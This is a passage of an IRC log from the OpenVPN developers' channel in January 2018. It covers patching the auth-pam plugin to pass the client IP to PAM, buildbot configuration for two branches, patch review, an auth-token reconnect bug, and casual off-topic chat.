obviously need to use client IP address instead of "1.2.3.4". I tried this: https://paste.debian.net/plainh/bd8b63b1 12:50 < mrtnt> However, looks like I am missing something because "untrusted_ip" environment variable seems to be empty. Any suggestions? 12:52 < mrtnt> Or what am I doing wrong? 12:58 < mrtnt> I forgot to mention, that I'm working on OpenVPN v2.3.8(https://github.com/OpenVPN/openvpn/archive/v2.3.8.tar.gz) 13:00 <@cron2> 2.3.8 is... old 13:01 <@cron2> current 2.3.x release is 2.3.18, but on a server, you really want 2.4.4 13:10 < mrtnt> cron2: ok, but looks like auth-pam plugin in 2.4.4 still does not set the PAM_RHOST 13:19 <@cron2> no, but any work you invest into 2.3.8 is a waste of time - stuff like "is this variable set or not?" might be a bug or not, but nobody will care to look 13:35 < mrtnt> cron2: I understand 13:35 < mrtnt> I tried the same with 2.4.4: https://paste.debian.net/plainh/9c6a577c 13:41 < mrtnt> I had a typo in my previous patch. This is the correct one: https://paste.debian.net/plainh/0520ac63 However, "untrusted_ip" still seems to be empty. 13:41 < mrtnt> What am I missing? 13:46 < mrtnt> At first I thought that maybe openvpn_plugin_open_v3() does not have the environment variables, but "daemonize(envp);" is called there so that "pam_server(fd[1], argv[1], context->verb, &name_value_list, envp);" should work as well. 13:52 * cron2 defers to dazo - he understands plugins. Env variables should be there, yes 14:17 <@dazo> mrtnt: IIRC (it's many years I dug into these plug-in env details) untrusted_ip is normally the public IP address of the client on the server side before the TLS/PKI authentication has completed ... once that's done you should have it in trusted_ip .... but you might actually need ifconfig_pool_remote_ip, which should carry the VPN IP address of the client 14:19 <@dazo> I see this line in your pastebin though ... + const char *untrusted_ip = get_env ("unknown_ip", envp); 14:19 <@dazo> "unknown_ip" will definitely always be empty, that's not a variable we set 14:20 <@dazo> otherwise the patch looks at first glance reasonable 14:21 <@dazo> however .... I think you're hooking the envp too early into the process 14:23 <@dazo> you should probably add this somewhere in openvpn_plugin_func_v1(), close to the get_env() calls already there ... and pass this IP address via a send_control() message 14:25 <@dazo> the auth-pam plugin will fork out a background process with root privileges in openvpn_plugin_open_v3() ... this background process will stay idle until a "foreground" request comes via openvpn_plugin_func_v1() 14:26 <@dazo> and that openvpn_plugin_func_v1() function might not have root privileges at all, as that is called after any --user/--group/--chroot calls 15:03 < mrtnt> Thanks for those suggestions! I tried with "trusted_ip". However, I'm not sure how should I use send_control(). This obviously does not work because "trusted_ip" is not declared: https://paste.debian.net/plainh/3dbb596f 15:11 <@dazo> mrtnt: send_control() works in tandem with recv_control() inside the pam_server() function ... and it sends first a "command" code, then that command defines how many additional recv_control() calls is needed 15:12 <@dazo> so in your case, you will extend COMMAND_VERIFY with one more send_recv() ... thus, you need one more recv_control() in round line 773 in the pam_server() (related to the case COMMAND_VERIFY: section) 15:24 <@dazo> mrtnt: just a sec ... I might have a compile tested patch for you 15:25 <@dazo> mrtnt: http://paste.debian.net/hidden/1f759fb0/ .... try this approach 15:27 <@dazo> here openvpn_plugin_func_v1() extracts the trusted_ip from envp, sends it to the auth backend using send_string() .... the auth backend fetches it using recv_string() and puts it into a new variable in struct user_pass which I called trusted_ip ... so pam_auth() can then do the pam_set_item() call using up->trusted_ip 15:27 <@dazo> that's the theory at least :) 15:27 <@dazo> and it is _only_ compile tested :) 15:28 <@dazo> cron2 will flog us for not tackling IPv6 here though .... so that might be needed to consider as well 15:40 <@cron2> *wakeup* 15:40 <@cron2> indeed, the remote side could be IPv6... 15:44 < mrtnt> dazo: thanks! Based on your suggestion I made a similar patch to yours, but this core-cumped. Then I tried with your patch(https://paste.debian.net/plainh/2a6874f8), but for some reason this core-dumped as well. 15:44 < mrtnt> Kernel logs following: Jan 24 23:40:33 jumphost kernel: openvpn[31137]: segfault at 0 ip 00007f34cf24f1ea sp 00007ffecb801298 error 4 in libc-2.22.so[7f34cf1ce000+19a000] 15:49 <@dazo> mrtnt: can you run the server via gdb? 15:54 < mrtnt> sure. Let me try this. 15:56 <@dazo> getting a backtrace would be most helpful 15:58 < mrtnt> I executed "gdb --args /root/openvpn-2.4.4/src/openvpn/openvpn --cd /etc/openvpn/ --config server.conf" and when I tried to connect from OpenVPN client to server, then I saw following messages in gdb output: 15:58 < mrtnt> Program received signal SIGSEGV, Segmentation fault. 15:58 < mrtnt> 0x00007ffff6b9f1ea in strlen () from /lib64/libc.so.6 15:58 <@dazo> good ... then do the 'bt' command ... and pastebin that output 15:59 <@dazo> (bt inside gdb) 16:02 < pekster> For the trace to be useful, the build may need to be done with: CFLAGS="-g -ggdb" ./configure … 16:03 < pekster> Depends on specifics though 16:03 < mrtnt> dazo: here it is: https://paste.debian.net/hidden/4146a6f8/ 16:04 < pekster> Ah, scratch my last; debug symbols are apparently present already 16:04 <@dazo> :) 16:04 <@dazo> mrtnt: I suspect trusted_ip is NULL 16:04 <@dazo> which is not good :/ 16:06 <@dazo> mrtnt: you might want to look at the line extracting common_name ... and do something similar 16:07 <@dazo> that ensures that if get_env("trusted_ip") == NULL, then const char *trusted_ip will be "" instead 16:08 <@dazo> you might want to add a fprintf(stderr, ....) debug logging before calling send_string() too, to ensure you have something reasonable in trusted_ip ... at least now when hacking on this 16:09 <@dazo> (I'm quite sure trusted_ip is NULL now ... but understanding why is a different story) 16:10 < mrtnt> dazo: yes, when I do "const char *trusted_ip = get_env ("trusted_ip", envp) ? get_env("trusted_ip", envp) : "";", then openvpn no longer crashes. However, PAM_RHOST is unfortunately still not set. 16:11 <@dazo> mrtnt: right ... I've just double checked with my eurephia code ... and I see that in the username/password auth call, I still extract untrusted_ip 16:21 < mrtnt> dazo: yes, it works with "untrusted_ip"! Thank you very much! I'll test what happens when I use IPv6. 16:26 <@dazo> currently it will truncate the IP address if it is longer than 16 bytes (in textual representation) .... so that needs to be improved :) 16:26 <@dazo> but cool it works! 16:26 <@dazo> please send your patch to the oepnvpn-devel ML for review, and we'll get it included .... plus, you'll get the credit! ;-) 17:02 <@dazo> I'll be travelling tomorrow (to devconf.cz) ... so won't be easily available in the coming days. 17:10 < mrtnt> ok, I will. I'll try to get the IPv6 part also working and test the patch both with IPv4 and IPv6. 17:10 < mrtnt> have a nice trip! --- Log opened Thu Jan 25 07:09:52 2018 07:09 -!- Irssi: #openvpn-devel: Total of 29 nicks [6 ops, 0 halfops, 1 voices, 22 normal] 07:09 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:09 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:09 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:10 -!- Irssi: Join to #openvpn-devel was synced in 15 secs 07:10 <@mattock> cron2: yeah it was more than a lunch break and took 1 hour longer than I anticipated even so 07:10 <@mattock> I see that buildbot is busy so I won't try my new buildmaster configuration quite yet 07:11 <@cron2> don't let us stop you 07:13 <@mattock> I'll let the builds finish 07:13 <@mattock> should not take more than 30 mins I guess 07:24 <@cron2> hoh 07:25 <@cron2> syzzer's patch creates a conflict with ENABLE_CRYPTO in the 2.4 tree 07:26 <@cron2> (easily fixed) 07:33 <@vpnHelper> RSS Update - gitrepo: Plug memory leak if push is interrupted <https://github.com/OpenVPN/openvpn/commit/07036fd3c456ed4ebf1809d8d9f34941d42865d0> 07:39 <@ordex> cron2: btw, there are also a couple of "quite old" patches that were ACK'd but they have been picked up 07:40 <@cron2> ordex: which ones? 07:40 * ordex opens patchwork 07:40 <@cron2> ah, yeah 07:40 * cron2 is aware 07:40 <@cron2> lots of stuff going on :) 07:40 <@ordex> heh ok :) 07:40 <@ordex> I can avoid pasting URLs then :-P 07:40 <@cron2> looking at Selva's Refactor ssl_openssl.c right now, and wondering if we want that in 2.4 07:41 <@cron2> (it's a prerequisite for the cryptoapi EC patch set, where I do not know whether we want this in 2.4 or not - it's most definitely "FEATURE") 07:51 <@cron2> syzzer, plaisthos: willing to review Selva's PK_SIGN patch? [PATCH v2 2/3] Allow external EC key through --management-external-key 07:57 <@vpnHelper> RSS Update - gitrepo: Refactor ssl_openssl.c in prep for external EC key support <https://github.com/OpenVPN/openvpn/commit/d59a1c2f488cc3f4725df1e053592d53c30cf0eb> 08:06 <@mattock> I will interrupt buildmaster for a (hopefully) little while 08:07 <@syzzer> cron2: yeah, I have this on my list. But plaisthos actually *uses* management-external-key, so I prefer him to comment on the design of the solution. 08:13 <@mattock> with any luck each builder should now build "master" as well as "release/2.4" 08:14 <@mattock> that should happen magically behind the scenes, i.e. the Git() buildstep inherits the branch from the ChangeSource (which now polls both "master" and "release/2.4" 08:15 <@mattock> I kept the "-master-" in the name so that buildslave build directories don't suddenly explode in size, even though it's a bit misleading 08:15 <@cron2> mattock: mmmh, but that means we have to keep the build options the same? 08:15 <@cron2> like, --disable-crypto not making sense for master anymore 08:16 <@mattock> if I can somehow figure out the active branch from buildbot's perspective then I could set the configure flags based on it 08:20 <@mattock> that said, it would be nice if we could avoid more special cases - we have lots of them as-is 08:21 <@cron2> I can understand that 08:22 <@mattock> would building with the same flags (i.e. without --disable-crypto variants) be ok? 08:22 <@mattock> better than what we have now 08:22 <@cron2> yep, just less variants 08:23 <@mattock> or maybe just --disable-crypto which would be useless on "master" but useful on "release/2.4" 08:23 <@mattock> we're not removing --disable-crypto flag entirely from configure in "master" are we? 08:23 <@cron2> it has already been removed :) 08:23 <@cron2> but configure just prints warning for --disable-foo flag it does not understand 08:23 <@mattock> ok, that's good enough 08:24 <@cron2> so the extra build isn't breaking, just wasting CPU 08:24 <@mattock> yeah 08:24 * ecrist kicks jamesyonan 08:25 <@mattock> so what about having plain "--disable-crypto" and dropping the three other variants? 08:25 <@mattock> that way --disable-crypto would be tested for "release/2.4" at the cost of one useless build on "master" 08:25 <@cron2> for 2.4, these make sense, for master, none of them make sense 08:26 <@mattock> yep, hence the compromise to avoid complete breakage of --disable-crypto by mistake in release/2.4 08:26 <@cron2> maybe add some sort of "only for master / only for 2.4" magic flag in the "build master, build 2.4"? 08:29 <@mattock> the build steps are set when creating the builder, so basically I'd have to define two sets of builders (for master and release/2.4) 08:29 <@mattock> that means doubling everything 08:30 <@mattock> or I could try to detect the codebase being built at build time and modify configure flags accordingly 08:32 <@mattock> anyways, it seems that buildbot is now building from "release/2.4", check build #47 in recent builds 08:32 <@mattock> "release/2.4" 08:41 <@cron2> doubling everything, once, is better than doubling everything, every time... 08:42 <@cron2> mmmh 08:42 <@cron2> right now it looks as if multiple builds were running in parallel 08:42 <@cron2> t_client test on FreeBSD 10.3 failed in a way that looks like "someone else has the t_client VPN running already" 08:44 <@vpnHelper> RSS Update - gitrepo: Refactor get_interface_metric to return metric and auto flag separately <https://github.com/OpenVPN/openvpn/commit/4229243563bcb22990f71d50e25be9ea6d44f519> 08:44 <@mattock> ah 08:45 <@mattock> I'm looking into environment variables - there must be a way to determine which branch the builder is building / about to build 08:46 <@mattock> it would not be that difficult to wrap the whole builder creation thing into yet another for-loop and parameterize configure flags, but it would make master.cfg a bit nastier to maintain 08:46 <@mattock> but I'm looking into alternatives 08:48 <@mattock> I think "properties" can do the trick: https://docs.buildbot.net/0.8.12/manual/cfg-properties.html 08:48 <@vpnHelper> Title: Properties Buildbot 0.8.12 documentation (at docs.buildbot.net) 09:55 <@mattock> cron2: I get these into buildmaster logs: "invalid login from unknown user 'slave-cron2-freebsd-11-amd64'" 09:55 <@mattock> is that work-in-progress? 09:56 <@cron2> mattock: uh. that was work in progress like 3 months ago... 09:56 <@mattock> looks like it was never added to master.cfg 09:56 <@cron2> so, "please do what you must to make this a new buildslave" :-) 09:56 <@mattock> I will amend one line then :P 09:56 <@cron2> (I think I failed VPN, then that got fixed, and then we all got sidetracked) 09:57 <@mattock> done 09:58 <@mattock> for now I ended up removing the --disable-crypto variants and using the same build flags for both release/2.4 and master 09:58 <@mattock> trying to customize the build flags for either one would have been a bigger job than I anticipated 09:58 <@cron2> if I push to only master or only 2.4, will it still build both? or only the changed branches? 09:58 <@mattock> a fair amount of refactoring in the logic how builders and buildsteps are created 09:59 <@mattock> it _should_ only build the branch that had the change 09:59 <@mattock> but I'm not 100% certain 10:00 <@mattock> I guess testing is the only way to be sure 10:01 <@mattock> that part is handled magically behind the scenes by buildbot 10:01 <@mattock> if it builds both branches even if only one changes then there's definitely a need to refactor master.cfg significantly 10:05 <@mattock> oh, and each buildslave _should_ only do one build at a time 10:05 <@mattock> concurrent builds has (always) been set to 1 10:08 <@mattock> so there should be no t_client overlap 10:14 <@mattock> that said, if t_client tests consistently fail then overlap seems likely 17:27 < tincantech> syzzer: the first time i have seen a support query for openvpn-nl on the forum : https://forums.openvpn.net/viewtopic.php?f=6&t=25713#p76361 17:27 <@vpnHelper> Title: Reconnect problems to OpenVPN 2.4.4 server - OpenVPN Support Forum (at forums.openvpn.net) 20:11 <@ordex> mattock: is this old: https://forums.openvpn.net/viewtopic.php?f=20&t=22600 ? 20:11 <@vpnHelper> Title: OpenVPN 2.4-alpha1 preview installers available - OpenVPN Support Forum (at forums.openvpn.net) 20:29 < tincantech> ordex: i would pull it ;) 20:29 <@ordex> I'd let mattock clean his stuff :P 20:30 < tincantech> i meant "would" 20:31 <@ordex> :D 20:34 < tincantech> "announcements" are announcments .. so what the hell 20:34 < tincantech> you may as well leave them up 20:37 < tincantech> history --- Log opened Fri Jan 26 06:45:54 2018 06:45 -!- Irssi: #openvpn-devel: Total of 29 nicks [6 ops, 0 halfops, 1 voices, 22 normal] 06:45 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 06:46 -!- Irssi: Join to #openvpn-devel was synced in 8 secs 06:46 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 06:46 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:58 <@ordex> cron2: what black voodoo magic is this: "tun-on-windows is "tun" as far as OpenVPN is concerned, and "TAP" 07:58 <@ordex> as far as Windows is concerned" ? :D 07:59 <@cron2> ordex: the e-mail should explain this just fine...? 07:59 <@ordex> yeah it does 07:59 <@cron2> windows only ever knows about "ethernet interfaces", so TAP is an ethernet 07:59 <@ordex> I was more thinking about "why the hack does windows need to be like that" 08:00 <@cron2> the tap driver has an ioctl() that tells it "OpenVPN is not interested in MAC layer!", so OpenVPN sends and receives only IP packets 08:00 <@cron2> ... and the TAP driver does the MAC handling needed... 08:00 <@cron2> well 08:00 <@cron2> tap driver happened way before I got involved, so I just added IPv6 logic, without questioning underlying model 08:01 <@cron2> I have *no* idea whether you can do "point-to-point style pseudo-interfaces" in windows (in a way useful to openvpn), and whether that will work on xp, vista, 7, ... 10 08:02 <@cron2> we have dropped xp and vista, so nowadays 7+10+10a+10b+10c+10d would be good enough :-) 08:02 <@cron2> but still... 08:02 <@cron2> there has to be a way to do that, otherwise "PPP" or "IP over ISDN" things wouldn't work, and many "IP over 3G/4G" things do present a mac-less point-to-point interface internally 08:03 <@cron2> on the other hand: many of the newer 3G/4G USB dongles present a virtual ethernet interface so windows can just "do ethernet" and that seems to be easier for the vendors than doing a proper windows driver... 08:05 < tincantech> and that probably uses more data .. so more $$$ for network providers 08:06 < tincantech> syzzer: thanks for the --nobind tip .. it resolves that problem as you said ;) 08:08 <@ordex> hehe 08:22 <@cron2> tincantech: nah, this is all handled inside the 3G/4G dongles 12:05 < tincantech> cron2: i guess i have to accept that in order to get blistering speed out of *G networks they must have optimized the protocol and not waste data in packets as much as poss 12:20 <@cron2> well, it's not *that* well optimized, but "transmitting an ethernet header that is only there to make windows happy" would be a bit silly :) 18:46 < tincantech> cron2: was it not M$ who wrote a 50k lines of code DOS and bloated it to 20MB with "bitmaps" allegedly in order to get paid by lines of (unverified) code ? ;) 18:48 < tincantech> infact .. i believe they bought DOS from a graduate for $50K and sold it to IBM (plus garbage) for a Lot more \: 18:58 <+krzee> sold it? no 18:58 <+krzee> licensed it 18:58 <+krzee> big difference that bill knew well :D 19:01 < tincantech> well .. still .. you know what what i mean 19:57 < tincantech> the point here being that per packet wastage is still a facxtor 20:40 < tincantech> and tyhen yhere was mektdown & spectyre .. my ars.e --- Day changed Sat Jan 27 2018 08:44 -!- mode/#openvpn-devel [+o ordex] by ChanServ 11:01 <@cron2> tincantech: since MS DOS fits on a 360kb floppy disk, "20 MB" sounds like quite a lot :) --- Day changed Sun Jan 28 2018 12:18 <@plaisthos> cron2,syzzer: I will do the review. Was on vacation last week 12:45 <@cron2> plaisthos: snowboarding? 13:05 <@plaisthos> yepp, why? :) 13:05 <@cron2> seems to be a thing here :-) - I was snowboarding with the family yesterday, syzzer is going next week 13:05 <@cron2> $kid[0] started boarding and now flatly refuses to touch her (new!) ski gear again... 13:09 <@plaisthos> And Dutch people seem to be everywhere I am going to be 13:11 <@plaisthos> My Dutch Snowboard instructor complained that one of the villages in Skiing area (Gerlos) is little Holland, with too many Dutch people and Dutch things like Bulletjes and Poffertes (spelling probably wrong) 13:14 <@cron2> haha, yes. Where we go for "Faschingsferien" (Radstadt, Austria) - when we were there, they had a whole dutch snowboard class with a dutch instructor even... 13:19 <@plaisthos> cron2: yeah, our skiing school even officially advertises to have lesson in German, Dutch and English 18:11 <@ordex> Dutch are everywhere :D 18:11 <@ordex> even here :P 23:25 <@vpnHelper> RSS Update - tickets: #1004: VPN routes stay intact when changed local network but can't reconnect to VPN from that new local network <https://community.openvpn.net/openvpn/ticket/1004> --- Day changed Mon Jan 29 2018 01:42 <@cron2> mattock: we need to postpone another week 01:42 <@cron2> there is just too much activity right now, and I won't have everything done by tuesday evening (so you could do release on wednesday) 01:43 <@cron2> how's your time availability next week? 02:20 <@cron2> oh, cool, ACKs. Work for me tonight :) 02:28 <@mattock> cron2: it seems that only two patches are missing from OpenVPN 2.4.5: https://patchwork.openvpn.net/project/openvpn2/list/?series=59 02:28 <@vpnHelper> Title: OpenVPN 2 - Patchwork (at patchwork.openvpn.net) 02:28 <@mattock> oh 02:28 <@mattock> cron2: postpone more you say? 02:29 <@mattock> I'm fine with that, even though 2.4.5 is missing just one openvpn-build PR (trivial to fix on the fly) and two patches to OpenVPN 2 core 02:31 <@plaisthos> cron2: replying oob, the first two patches I acked are just implemetning the PK-SIGN stuff 02:47 <@cron2> mattock: postpone another week, yes. Because today and tomorrow is a bit tight for me (too many paying customer appointments) and I still need to review the ccd-cipher patch 02:48 <@cron2> plaisthos: "the PK-SIGN stuff" as in "... but still only RSA"? Is 2/2 compatible with the "extend this to EC" patch set on the list, or is there a conflict? 02:48 <@cron2> since the EC set also introduces PK-SIGN 03:00 <@mattock> cron2: ok, sounds good 03:00 <@mattock> regarding buildbot: any clue if it builds only the affected branch, or both "master" and "release/2.4" on every commit to either branch? 03:44 <@plaisthos> cron2: the newest ec set is based on those two patches 03:45 <@plaisthos> cron2: I just want to test it again before I sent out my ack 03:48 <@vpnHelper> RSS Update - tickets: #1005: Chain CA fails with 1.2.6 <https://community.openvpn.net/openvpn/ticket/1005> 04:00 <@cron2> plaisthos: good. Thanks for the explanation. 07:15 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Quit: Lost terminal] 09:15 <@ordex> syzzer: speaking of particular cases: https://community.openvpn.net/openvpn/ticket/1005 09:15 <@vpnHelper> Title: #1005 (Chain CA fails with 1.2.6) – OpenVPN Community (at community.openvpn.net) 09:19 <@ecrist> I have seen surprisingly few complaints about EasyRSA v3.0.4 09:45 < eworm> I have one :-p 09:45 < eworm> git tells me refname 'v3.0.4' is ambiguous 10:39 <@ecrist> there's a branch and a release with that name 13:39 <@vpnHelper> RSS Update - gitrepo: Prompt for signature using '>PK_SIGN' if the client supports it <https://github.com/OpenVPN/openvpn/commit/e7995f3c62597eb963483b96db619f3e5cd4cf13> || Add management client version <https://github.com/OpenVPN/openvpn/commit/686fe9ce54c6913f638b80dd7c28d393aa0cadb1> 14:02 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 14:02 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 14:05 <@cron2> mattock: buildbot is confused about parallel builds 14:06 <@cron2> it definitely tried building two builds in parallel on freebsd10.3 right now, both subsequently failing t_client then 14:07 <@cron2> it might be related to the "retry exception slave lost" I see in the waterfal display, though... --- Day changed Tue Jan 30 2018 00:40 <@vpnHelper> RSS Update - tickets: #1006: signed integer is greater than maximum, log spam in /var/log <https://community.openvpn.net/openvpn/ticket/1006> 01:32 <@ordex> cron2: re: bug for AS: I think novaflash should pick them up. I already forwarded him the link 01:32 <@ordex> in theory this guy should be redirected to the official support as this is a paying customer ... I'll let novaflash do it 01:37 <@cron2> thanks 01:45 <@mattock> cron2: if the problem (t_client.sh failing) continues I will take another stab at completely separating "master" and "release/2.3" builders 01:46 <@mattock> sorry, "release/2.4" 01:47 <@cron2> mattock: not sure what happened. It only happened for two slaves, and when I watched more closely, it nicely built one after the othre in sequence - but there was "pinkish" on the waterfal display which is new. Maybe some routing hickup right at the time, so the master lost contact, and scheduled a new job in parallel to the ongoing-but-lost job? 02:29 <@cron2> mattock: meeting topic tomorrow: "mgmt version 2 / pk-sign and 2.4" (aka "is this something we want in 2.4? if not, how's the GUI going to deal with 2.4 and master being different?" 03:04 <@cron2> mattock: next meeting topic "copyright notices in files, and in --version" (2018, patch from eworm) 03:06 <@ordex> hehe 04:20 <@plaisthos> our auth-gen-token/auth-token is really broken 04:21 <@plaisthos> if the client uses passwords 04:29 <@ordex> plaisthos: mh why ? 04:29 <@ordex> the pwd should be used only the first time, then it switches to the token 04:31 <@plaisthos> yeah 04:31 <@plaisthos> and then the client changes networks, server forgets the auth-token, client has overwritten the password with the auth-token and the next connect results in auth-failed 04:33 <@ordex> plaisthos: hm yeah, the client should probably ask for the password again 04:33 <@ordex> and this might be related to a bug I got filed for Connect on iOS 04:33 <@ordex> thanks :D 04:33 <@ordex> I will dig up 04:34 <@plaisthos> or try again with token if that fails ask for pw 04:34 <@plaisthos> users might have implmeneted their own auth-token support with scripts that survives a reconnect 04:34 <@ordex> right 04:34 <@ordex> so if token fails, then ask for password ? and if the password was cached? use the cached one I guess (?) 04:35 <@plaisthos> yeah 04:35 <@ordex> this sounds good 04:35 <@plaisthos> but we overwrite the password 04:35 <@plaisthos> might need more changes 04:35 <@cron2> why does "client changes networks" result in "server forgets the auth-token"? 04:36 <@ordex> cron2: I think the server drops the session upon client disconnect ? 04:37 <@ordex> plaisthos: yes we do, we don't cache it any more (this was fixed a couple of times .. ) 04:38 <@ordex> unless we are on UDP and the client is roaming fast enough - that may save it, I guess 04:38 <@ordex> (and float is enabled) 04:41 <@cron2> good point... tcp, or slow reconnect 04:41 <@cron2> why is the auth token not valid on a full reconnect? 04:43 <@ordex> cron2: what do you mean? with auth-gen-token the token is automatically generated by the OpenVPN code on the server and sent back with a push-reply. onc ethe session is gone, also the stored token is gone 04:44 <@ordex> thus the server is unable to verify it again upon full reconenction (basically the server is back to the original state, so no knowledge about the client) 04:45 <@ordex> if the token mechanism is implemented "outside", say by the admin with some external scripts, then the token may survive a full reconnection. This is why plaisthos suggested to still make one attempt with the token and if it doesn't work, switch back to the pwd 04:51 <@plaisthos> I have nothing to add :) 04:52 <@ordex> :D 04:57 <@cron2> ordex: good point, if it's stored in the per-client state which goes away 04:57 <@ordex> yap 05:17 <@cron2> mattock: wrt meeting - there are two agenda points scrolled out which you might want to pick up :) 05:59 <@mattock> ah, meeting, good you reminded me :) 06:03 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2018-01-31 06:03 <@vpnHelper> Title: Topics-2018-01-31 – OpenVPN Community (at community.openvpn.net) 06:06 <@mattock> updated with cron2 topics 06:06 <@mattock> will send out the invitation 06:07 <@ordex> mattock: don't forget to write down the day :P last time it wasn't clear 06:09 <@mattock> in the invitation? 06:09 <@ordex> yup 06:09 <@ordex> unless I overlooked it 06:09 <@ordex> (which can also be possible) 06:10 <@mattock> there is a date this time at least :) 06:11 <@mattock> on the subject line 06:11 <@mattock> I've omitted the date in the message body (except in the link) on purpose 06:11 <@mattock> less things to modify -> less chance of conflicting dates 06:12 <@ordex> hehe yeah 08:23 <@cron2> sheesh 08:23 <@cron2> IV_PLAT=ios IV_VER=3.0 IV_GUI_VER=net.openvpn.connect.ios_1.0.5-177 08:23 <@cron2> some people really do not like upgrading their stuff... 10:02 <@ordex> cron2: lol 10:02 <@ordex> cron2: even better: they then complain about bugs! :P 12:53 <@plaisthos> :) 14:55 <@cron2> oh, 1.0.5 had less bugs than 1.2.5 :-) 18:02 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 256 seconds] 18:43 <@ordex> cron2: :D 19:43 <@ordex> cron2: brace for 1.2.7 hitting the appstore NOW! 19:43 <@ordex> :) 20:05 -!- slypknot is now known as tincantech 20:25 < tincantech> has anybody else noticed win10 is being overclocked since meltdown/spectyre patch ? 20:26 <@ordex> I did read that MS is deactivating the patch due to bugs 20:26 <@ordex> and what does it mean that 'windows is being overclocked' ? it has the power to go faster? 20:26 < tincantech> ordex: hey .. yeah since older AMD bit the dust not intel 20:27 <@ordex> another one bite the dust 20:27 <@ordex> zum zum zum 20:27 < tincantech> ordex: overclocked .. i have this intel core i5-2450M @ 2.5ghz 20:27 < tincantech> currently in task manager itr is running at over 3ghz 20:28 < tincantech> and Maximum speed states 2.5ghz 20:28 <@ordex> oh ok 20:28 < tincantech> i would say their patch has built in overclocking to make the effect of melt/spec appear less /bad/ 20:28 <@ordex> but that could just a cpu feature 20:29 <@ordex> I also have an i7 2.8 that goes to 3.2 with "turbo" 20:29 <@ordex> but might require kernel support 20:29 <@ordex> tincantech: ever checked the clock before the patch? 20:29 < tincantech> i don't have any overclocking s/w and the bios is set with no overclocking 20:30 < tincantech> yeah .. i sit at this pc everyday .... 20:30 < tincantech> i know i can't prove it .. but i swaer i never saw it go to 3+ ghz before 20:30 <@ordex> yeah i also don't have any overcloking feature 20:30 <@ordex> it's just the cpu going higher when needed - n oclue how that works though 20:30 <@ordex> hehe 20:30 <@ordex> we believe you!! no worries!! 20:31 < tincantech> honest guv ... it never did this before .. but i suppose it could be a patch to task manager showing more accurate measure .. 20:32 < tincantech> or something that looks like "hey we fixed melt/spec and not your pc is even faster !" when in fact it could be even slower 20:32 <@ordex> :D 20:32 < tincantech> now=now* 20:32 < tincantech> not=now* 20:33 <@ordex> magic! that's all we need 20:33 < tincantech> its not magic .. it is effin bullshit ! 20:33 <@ordex> same same, bud different! 20:35 < tincantech> i still cannot comprehend how a hard disk actually works .. 7200rpm and the target is as small as "TOO small" 20:35 < tincantech> i know the terminology .. GMR .. but still .. it is quite amazin 20:36 <@ordex> my old 75cc motorbike was getting to 14000rpm, and the size of the cylinder was not that different from an HD 20:36 <@ordex> :D 20:36 < tincantech> lol 20:36 < tincantech> 2-stroke 20:45 <@ordex> of course 20:45 <@ordex> hehe 21:17 <@vpnHelper> RSS Update - tickets: #516: windows: ipconfig failing to execute during VPN connection <https://community.openvpn.net/openvpn/ticket/516> 21:23 <@vpnHelper> RSS Update - tickets: #314: iOS: use proxy settings from iOS network configuration <https://community.openvpn.net/openvpn/ticket/314> --- Day changed Wed Jan 31 2018 01:53 <@cron2> mornin' 01:54 <@cron2> wrt hard drives... my "new" server has mainly 146G SAS 2.5" drives, which are "proper" server hard drives, like 14mm high, and thus 01:54 <@cron2> then I got a new seagate 2T 2.5" SATA drive, which is *half* high (7mm), at about 10x capacity... this is all so very amazing 02:28 <@ordex> cron2: hehe 02:28 <@ordex> yeah 03:32 <@plaisthos> hm /home/selva/openvpn/.git/rebase-apply/patch:83: trailing whitespace. 03:32 <@plaisthos> How to find these? 03:37 <@ordex> I think you can open /home/selva/openvpn/.git/rebase-apply/patch and go toline 83, no ? 03:37 <@ordex> however, my gcc shows them in red when i do git show/diff 03:37 <@ordex> s/gcc/git/ 03:38 <@vpnHelper> RSS Update - tickets: #1007: iOS : OpenVPN Connect App 1.2.7 udp not working for ports besides 1194 <https://community.openvpn.net/openvpn/ticket/1007> 03:41 <@ordex> this guy .. 03:51 <@ordex> plaisthos: your [PATCH v2] show the right string for key-direction looks identical to v1 03:52 <@ordex> did you forget to add the changes? :P 03:52 <@plaisthos> I know 03:53 <@plaisthos> and you were to fast to notice 03:54 <@ordex> :D 03:55 <@ordex> plaisthos: actually, as syzzer said, we already have a np() function doing exactly what you implemented 03:55 <@ordex> you could have just wrapper the key..2ascii() inside np() 03:55 <@ordex> without rewriting code 03:55 <@plaisthos> yeah but that show [[NULL]] for the option 03:55 <@plaisthos> which is not so nice I figured 04:06 <@ordex> ah 04:06 <@ordex> dunno, I let syzzer decide 04:07 <@ordex> we already use that when printing auth= 04:07 <@plaisthos> hm 04:33 <@plaisthos> I let syzzer decide 04:39 <+krzee> I let syzzer decide 04:39 <+krzee> (seems to be what the cool kids are doing) 04:41 <@ordex> just defer everything to the only unavailable person 04:41 <@ordex> :P 04:46 <@dazo> heh 05:28 <@vpnHelper> RSS Update - tickets: #1008: Unable to reconnect after iOS sleep <https://community.openvpn.net/openvpn/ticket/1008> 06:34 <@dazo> hmm ... in regards to the copyright update ... the company name needs to change too ... OpenVPN Technologies, Inc changed their name to just: OpenVPN Inc 06:35 <@ordex> mh maybe we need to add a new line for that ? 06:35 <@ordex> whilekeeping the old name for the previous years? 06:46 <@dazo> That's not been done earlier though ... they changed name once before many years ago 06:46 <@dazo> it's the same legal entity 06:46 <@ordex> I see 06:46 <@ordex> no clue to be honest 06:46 <@dazo> it would be different if the legal entity would be different 06:55 <@ordex> yeah makes sense 07:17 <@vpnHelper> RSS Update - tickets: #1008: iOS: Unable to reconnect after sleep <https://community.openvpn.net/openvpn/ticket/1008> 07:33 < tincantech> since updating w10 .. if i don't let w10 connect to the internet w10 will not let me connect to it via vnc 08:05 <@dazo> cron2: I've just sent an updated patch for the copyright stuff ... and considering the low code impact change that patch covers (mostly comments/docs), I'm not even sure we need to enforce an ACK on it ... after all, the change is publicly available on the ML and can be easily 